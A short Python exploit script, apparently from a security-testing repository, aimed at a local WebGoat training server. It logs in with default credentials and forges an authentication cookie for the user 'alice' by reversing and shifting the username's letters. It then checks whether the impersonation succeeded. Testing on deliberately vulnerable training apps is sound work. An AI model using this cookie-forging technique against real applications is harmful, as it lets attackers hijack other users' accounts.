import requests
import json
from requests.auth import HTTPBasicAuth

with requests.Session() as c:
	# URLs from the WebGoat
	url_1 = 'http://127.0.0.1:8080/WebGoat/attack?Screen=74&menu=1800'
	url_2 = 'http://127.0.0.1:8080/WebGoat/j_spring_security_check'
	
	# Get session_1 (or cookie_1)
	c.get(url_1)
	session_1 = c.cookies.items()[0][1]

	# Get session_2 (or cookie_2)
	login_data = {'username':'webgoat', 'password':'webgoat'}
	cookie = {'JSESSIONID': session_1}
	c.post(url_2, login_data, cookies = cookie)
	session_2 = c.cookies.items()[0][1]

	# Get the link
	url_3 = 'http://127.0.0.1:8080/WebGoat/attack?Screen=170&menu=100'
	url_4 = 'http://127.0.0.1:8080/WebGoat/service/lessonmenu.mvc'
	c.get(url_3)
	req = c.get(url_4)
	parsed_json = json.loads(req.text)
	link = 'http://127.0.0.1:8080/WebGoat/'
	link += parsed_json[17]["children"][1]["link"]
	
	# Attack
	username = "alice"
    	reverse_username = username[::-1]
    	auth_cookie = "65432"
    	for letter in reverse_username:
        	auth_cookie += chr(ord(letter) + 1)
	
	#cookie['AuthCookie'] = '65432fdjmb'
	cookie['AuthCookie'] = auth_cookie
	req = c.get(link, cookies = cookie)
	
	# Parse req to find alice
	if "Welcome, alice" in req.content:
		print ("***Vulnerability Present***")
	else:
		print ("***No Vulnerability***")

Create exploit-vuln-31.py